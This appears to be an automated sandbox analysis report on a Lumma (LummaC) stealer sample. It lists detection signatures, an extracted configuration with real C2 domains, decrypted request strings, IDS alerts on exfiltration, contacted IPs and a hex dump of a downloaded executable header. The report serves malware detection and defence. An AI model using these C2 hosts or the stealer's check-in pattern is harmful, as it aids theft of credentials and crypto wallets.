Edit tour

Windows Analysis Report
chu4rWexSX.exe

Overview

General Information

Sample name:	chu4rWexSX.exe renamed because original name is a hash value
Original sample name:	d60499b26aaa1adfb80910660d8824e3.exe
Analysis ID:	1585801
MD5:	d60499b26aaa1adfb80910660d8824e3
SHA1:	fe75a8409604359042389a383a0174bdd65198ca
SHA256:	8cc3a93a0f7df474a36abbbcce437adcfa0b2dc76de1914f1f5f7de47807546e
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

chu4rWexSX.exe (PID: 6640 cmdline: "C:\Users\user\Desktop\chu4rWexSX.exe" MD5: D60499B26AAA1ADFB80910660D8824E3)

92F8.tmp.exe (PID: 640 cmdline: "C:\Users\user~1\AppData\Local\Temp\92F8.tmp.exe" MD5: 39ED277DE9297BF19DA7B0FA7EC41370)

WerFault.exe (PID: 2024 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 640 -s 1824 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["abruptyopsn.shop", "rabidcowse.shop", "noisycuttej.shop", "skidjazzyric.click", "framekgirus.shop", "nearycrepso.shop", "wholersorie.shop", "cloudewahsj.shop", "tirepublicerj.shop"], "Build id": "4h5VfH--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.3929053083.0000000000700000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000003.00000002.3111992330.00000000010A6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
Process Memory Space: 92F8.tmp.exe PID: 640	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 92F8.tmp.exe PID: 640	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 92F8.tmp.exe PID: 640	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\92F8.tmp.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\92F8.tmp.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe, ParentCommandLine: "C:\Users\user\Desktop\chu4rWexSX.exe", ParentImage: C:\Users\user\Desktop\chu4rWexSX.exe, ParentProcessId: 6640, ParentProcessName: chu4rWexSX.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\92F8.tmp.exe" , ProcessId: 640, ProcessName: 92F8.tmp.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T09:44:44.051103+0100	2028371	3	Unknown Traffic	192.168.2.7	58183	104.21.80.1	443	TCP
2025-01-08T09:44:45.182790+0100	2028371	3	Unknown Traffic	192.168.2.7	58184	104.21.80.1	443	TCP
2025-01-08T09:44:46.620586+0100	2028371	3	Unknown Traffic	192.168.2.7	58185	104.21.80.1	443	TCP
2025-01-08T09:44:47.746287+0100	2028371	3	Unknown Traffic	192.168.2.7	58186	104.21.80.1	443	TCP
2025-01-08T09:44:50.292627+0100	2028371	3	Unknown Traffic	192.168.2.7	58187	104.21.80.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T09:44:44.535590+0100	2054653	1	A Network Trojan was detected	192.168.2.7	58183	104.21.80.1	443	TCP
2025-01-08T09:44:45.861589+0100	2054653	1	A Network Trojan was detected	192.168.2.7	58184	104.21.80.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T09:44:44.535590+0100	2049836	1	A Network Trojan was detected	192.168.2.7	58183	104.21.80.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T09:44:45.861589+0100	2049812	1	A Network Trojan was detected	192.168.2.7	58184	104.21.80.1	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T09:44:47.164442+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	58185	104.21.80.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T09:42:30.698608+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49702	104.21.56.70	443	TCP
2025-01-08T09:42:32.235709+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49703	176.113.115.19	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: chu4rWexSX.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://post-to-me.com/mt	Avira URL Cloud: Label: malware
Source: https://post-to-me.com/track_prt.php?sub=	Avira URL Cloud: Label: malware
Source: https://post-to-me.com/track_prt.php?sub=0&cc=DE	Avira URL Cloud: Label: malware
Source: https://post-to-me.com/	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["abruptyopsn.shop", "rabidcowse.shop", "noisycuttej.shop", "skidjazzyric.click", "framekgirus.shop", "nearycrepso.shop", "wholersorie.shop", "cloudewahsj.shop", "tirepublicerj.shop"], "Build id": "4h5VfH--"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\ScreenUpdateSync[1].exe	ReversingLabs: Detection: 21%
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	ReversingLabs: Detection: 21%

Multi AV Scanner detection for submitted file

Source: chu4rWexSX.exe	Virustotal: Detection: 57%			Perma Link
Source: chu4rWexSX.exe	ReversingLabs: Detection: 56%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: chu4rWexSX.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String decryptor: cloudewahsj.shop
Source: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String decryptor: rabidcowse.shop
Source: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String decryptor: noisycuttej.shop
Source: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String decryptor: tirepublicerj.shop
Source: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String decryptor: framekgirus.shop
Source: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String decryptor: wholersorie.shop
Source: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String decryptor: abruptyopsn.shop
Source: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String decryptor: nearycrepso.shop
Source: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String decryptor: skidjazzyric.click
Source: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000003.00000002.3111907808.0000000000D96000.00000002.00001000.00020000.00000000.sdmp	String decryptor: 4h5VfH--

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

Code function: 3_2_00D65D89 CryptUnprotectData,

3_2_00D65D89

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\chu4rWexSX.exe

Unpacked PE file: 0.2.chu4rWexSX.exe.400000.0.unpack

Source: chu4rWexSX.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\chu4rWexSX.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.56.70:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.7:58183 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.7:58184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.7:58185 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.7:58186 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.7:58187 version: TLS 1.2

Source:

Binary string: C:\AdminC4\Workspace\732991375\Project\Debug\Project.pdb source: chu4rWexSX.exe, 00000000.00000003.1551741244.00000000036C2000.00000004.00000020.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2824787139.0000000003098000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000000.1555356878.0000000000CCE000.00000002.00000001.01000000.00000006.sdmp, ScreenUpdateSync[1].exe.0.dr, 92F8.tmp.exe.0.dr

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_004356A2 FindFirstFileExW,		0_2_004356A2
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00775909 FindFirstFileExW,		0_2_00775909

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov eax, esi	3_2_00D8D0D0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-533305EEh]	3_2_00D8D0D0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+34h]	3_2_00D5C080
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov word ptr [edx], cx	3_2_00D68BA2
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00D72370
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+edi+02h]	3_2_00D938E0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx ebx, bx	3_2_00D77885
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+482C66D0h]	3_2_00D72880
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-1CAAACA4h]	3_2_00D67054
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+01h]	3_2_00D91816
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+7E534795h]	3_2_00D6B021
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_00D6B021
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov dword ptr [ebp-2Ch], eax	3_2_00D921E9
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov byte ptr [edi+10h], 00000000h	3_2_00D921E9
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx ebx, byte ptr [esi]	3_2_00D6618C
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	3_2_00D6F170
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov byte ptr [esi], cl	3_2_00D81AF5
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx edx, word ptr [eax]	3_2_00D942E0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 01FCE602h	3_2_00D90A90
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ebx+0Bh]	3_2_00D5B280
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h	3_2_00D6BA52
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov esi, ecx	3_2_00D6BA52
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov byte ptr [esi], cl	3_2_00D6BA52
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov dword ptr [esi], FFFFFFFFh	3_2_00D52210
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_00D8A230
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov byte ptr [esi], al	3_2_00D6B3F2
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	3_2_00D6F3E0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov ecx, eax	3_2_00D6AB90
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+01h]	3_2_00D91B50
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_00D7FB7D
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov byte ptr [edi], bl	3_2_00D59360
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	3_2_00D69B30
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx eax, byte ptr [ecx+edi]	3_2_00D58320
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov ecx, eax	3_2_00D68492
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov byte ptr [eax], bl	3_2_00D5D465
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then jmp ecx	3_2_00D78C62
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 4B884A2Eh	3_2_00D94C20
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_00D7C5E0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov byte ptr [esi], al	3_2_00D6B58F
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	3_2_00D695B6
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	3_2_00D695B6
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx edx, word ptr [ebx]	3_2_00D8CD40
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov edi, edx	3_2_00D8E6E0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx eax, word ptr [edx]	3_2_00D8E6E0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+edi+02h]	3_2_00D937D0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+7C605D08h]	3_2_00D77FC0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-209D22B7h]	3_2_00D77FC0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+04h]	3_2_00D7A7F0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov edx, ecx	3_2_00D7A7F0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov ecx, eax	3_2_00D77FFD
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov edx, ecx	3_2_00D7AF92
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00D7AF92
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-000000D1h]	3_2_00D64F90
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov edx, ecx	3_2_00D7AFB0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov ecx, edx	3_2_00D80F54
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov ecx, edx	3_2_00D80F4E
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov word ptr [ebx], ax	3_2_00D6A770
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_00D7F716
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then mov ecx, edx	3_2_00D80F03
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	3_2_00D57730
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	3_2_00D57730

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:58183 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:58183 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:58185 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:58184 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:58184 -> 104.21.80.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: skidjazzyric.click
Source: Malware configuration extractor	URLs: framekgirus.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop

Source: global traffic

TCP traffic: 192.168.2.7:57913 -> 162.159.36.2:53

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 08 Jan 2025 08:42:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Tue, 07 Jan 2025 19:23:06 GMTETag: "4bee00-62b22acaa7a80"Accept-Ranges: bytesContent-Length: 4976128Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bc 97 53 92 f8 f6 3d c1 f8 f6 3d c1 f8 f6 3d c1 8a 77 3e c0 f5 f6 3d c1 8a 77 38 c0 6e f6 3d c1 8a 77 39 c0 eb f6 3d c1 e9 70 3e c0 ea f6 3d c1 e9 70 39 c0 e9 f6 3d c1 e9 70 38 c0 d3 f6 3d c1 8a 77 3c c0 f3 f6 3d c1 f8 f6 3c c1 80 f6 3d c1 7b 70 39 c0 f9 f6 3d c1 7b 70 3f c0 f9 f6 3d c1 52 69 63 68 f8 f6 3d c1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 1a 7f 7d 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 2a 00 1a 46 00 00 e6 05 00 00 00 00 00 0a d4 22 00 00 10 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 6f 00 00 04 00 00 20 06 4c 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 18 93 6b 00 78 00 00 00 00 b0 6d 00 80 5f 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 6b 00 a8 62 01 00 50 13 6b 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 12 6b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 6b 00 18 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 62 73 73 e2 a8 22 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 e0 2e 74 65 78 74 00 00 00 b2 18 46 00 00 c0 22 00 00 1a 46 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b2 6a 02 00 00 e0 68 00 00 6c 02 00 00 1e 46 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 04 3f 00 00 00 50 6b 00 00 2a 00 00 00 8a 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 f5 11 00 00 00 90 6b 00 00 12 00 00 00 b4 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 6d 73 76 63 6a 6d 63 c0 01 00 00 00 b0 6b 00 00 02 00 00 00 c6 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 0e 01 00 00 00 c0 6b 00 00 02 00 00 00 c8 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 66 70 74 61 62 6c 65 99 01 00 00 00 d0 6b 00 00 02 00 00 00 ca 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 8c c1 01 00 00 e0 6b 00 00 c2 01 00 00 cc 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 80 5f 01 00 00 b0 6d 00 00 60 01 00 00 8e 4a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 104.21.56.70 104.21.56.70
Source: Joe Sandbox View	IP Address: 176.113.115.19 176.113.115.19
Source: Joe Sandbox View	IP Address: 104.21.80.1 104.21.80.1
Source: Joe Sandbox View	IP Address: 104.21.80.1 104.21.80.1

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

